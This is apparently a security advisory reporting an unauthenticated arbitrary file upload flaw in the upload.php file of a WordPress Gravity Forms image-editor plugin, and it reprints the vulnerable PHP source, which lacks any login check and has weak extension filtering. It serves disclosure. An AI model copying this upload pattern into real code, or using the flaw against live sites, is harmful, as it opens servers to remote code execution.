Description: A plugin that integrates the awesome Adobe Creative SDK (formerly Aviary) Photo / Image Editor with the Gravity Forms Plugin.
Vulnerability:
There is a remote file upload vulnerability in aviary-image-editor-add-on-for-gravity-forms/includes/upload.php as an unauthenticated user can upload any file to the system. Including a .php file. The upload.php doesn't check that the user is authenticated and a simple post will allow arbitrary code to be uploaded to the server. In the file aviary-image-editor-add-on-for-gravity-forms/includes/upload.php the code doesn’t check for an authenticated Wordpress user: 1 <?php 2 3 $filename = $_SERVER["DOCUMENT_ROOT"]."/wp-load.php"; 4 if (file_exists($filename)) { 5 include_once($filename); 6 } else { 7 include_once("../../../../wp-load.php"); 8 } 9 echo "Here"; 10 $image_file = $_FILES['gf_aviary_file']; 11 if($image_file['name']!=''){ 12 $max_file_size = 4*1024*1024; 13 $file_size = intval($image_file['size']); 14 if( $file_size > $max_file_size ){ 15 $msg = "File Size is too big."; 16 $error_flag = true; 17 } 18 $extension = strtolower(end(explode('.', $image_file['name']))); 19 $aa_options = get_option('gf_aa_options'); 20 $supported_files = $aa_options['supported_file_format']; 21 $supported_files = strtolower($supported_files); 22 if(!$error_flag && $supported_files != '' ){ 23 $supported_files = explode (',', $supported_files); 24 if(!in_array($extension, $supported_files)){ 25 $msg = "No Supported file."; 26 $error_flag = true; 27 } 28 } 29 if(!$error_flag){ 30 $wp_upload_dir = wp_upload_dir(); 31 if(!is_dir($wp_upload_dir['basedir'].'/gform_aviary')){ 32 mkdir($wp_upload_dir['basedir'].'/gform_aviary'); 33 } 34 $upload_dir = $wp_upload_dir['basedir'].'/gform_aviary/'; 35 $upload_url = $wp_upload_dir['baseurl'].'/gform_aviary/'; 36 $file_name = $upload_dir.$_POST['gf_aviary_field_id'].'_'.$image_file['name' ]; 37 if(move_uploaded_file($image_file['tmp_name'], $file_name)){ 38 $file_url = $upload_url.$_POST['gf_aviary_field_id'].'_'.$image_file['na me']; 39 } 40 } 41 $return_obj = array('status' => 'success', 'message' => $file_url); 42 echo json_encode($return_obj); 43 } 44 ?>
